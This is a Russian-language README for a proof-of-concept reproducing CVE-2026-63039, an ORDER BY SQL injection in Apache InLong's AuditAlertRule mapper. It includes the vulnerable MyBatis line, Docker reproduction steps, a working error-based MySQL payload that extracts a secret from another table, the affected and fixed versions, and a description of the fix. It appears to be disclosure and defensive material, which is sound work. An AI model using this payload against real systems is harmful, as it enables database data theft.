
Доказательство концепции (PoC) для CVE-2026-63039, демонстрирующее SQL-инъекцию в ORDER BY в AuditAlertRule проекта Apache InLong через orderField/orderType, с репродуктором на базе Docker и проверкой исправления.
AuditAlertRule SQL-инъекция в ORDER BYРабочий proof-of-concept для воспроизведения SQL-инъекции в запросе audit-alert-rule в Apache InLong.
В маппере менеджера InLong AuditAlertRuleEntityMapper.selectByCondition фильтрация выполняется с помощью безопасных параметров MyBatis #{}, а сортировка — через строковую интерполяцию ${} двух полей запроса:
<!-- inlong-manager/manager-dao/src/main/resources/mappers/AuditAlertRuleEntityMapper.xml (InLong 2.0.0–2.3.x) -->
order by ${request.orderField} ${request.orderType}
Поля orderField и orderType приходят из запроса с постраничной выдачей (AuditAlertRulePageRequest), поэтому контролируются атакующим и подставляются в SQL дословно — это SQL-инъекция в ORDER BY (CWE-89). Данный PoC внедряет в orderField полезную нагрузку на основе ошибок MySQL и читает секрет из , демонстрируя произвольное раскрытие данных.
mvn -q -DskipTests package
docker compose up --build # starts MySQL, seeds it, runs the one-shot PoC
docker compose down -v
Ожидаемый вывод на уязвимом пути выполнения:
[1] Benign request (orderField='id', orderType='ASC'): 3 rows
AuditAlertRule{id=1, inlongGroupId=group_a, alertName=latency rule}
...
[2] Malicious request (orderField = error-based payload):
orderField = extractvalue(1,concat(0x7e,(select secret_value from manager_secrets limit 1)))
extracted from another table via the injected subquery: INLONG-SECRET-63039
>>> PROVEN: ... ORDER BY SQL injection (CWE-89): true
| Свойство | Значение |
|---|---|
| Проект | Apache InLong — менеджер (AuditAlertRuleService / AuditAlertRuleEntityMapper) |
| Класс | CWE-89 Некорректная нейтрализация специальных элементов в SQL-команде ('SQL-инъекция') |
| Вектор атаки | Поля orderField / orderType запроса страницы audit-alert-rule |
| Воздействие | Произвольное выполнение SQL / раскрытие данных из базы данных менеджера InLong |
| Затронутые версии | с 2.0.0 до 2.4.0 |
| Исправленная версия | 2.4.0 |
| Уведомление | CVE-2026-63039 |
| Исследователь | Andrea Cosentino |
Apache InLong 2.4.0 проверяет orderField / orderType по разрешённому списку известных сортируемых колонок и направлений до того, как они попадут в маппер (имя колонки в ORDER BY нельзя передать как параметр #{}, поэтому входные данные для сортировки нужно проверять, а не параметризовать).
MyBatis-маппер, сущность и request-pojo в этом репозитории повторяют оригиналы InLong, поэтому точка инъекции (order by ${request.orderField} ${request.orderType}) воспроизведена дословно.
Этот репозиторий опубликован в образовательных и защитных целях: помочь пользователям Apache InLong понять уязвимость, проверить, затронуты ли они, и подтвердить, что обновление устраняет её. Полезная нагрузка читает только демонстрационный секрет из локальной таблицы. Не используйте этот материал против систем, которыми вы не владеете и не управляете.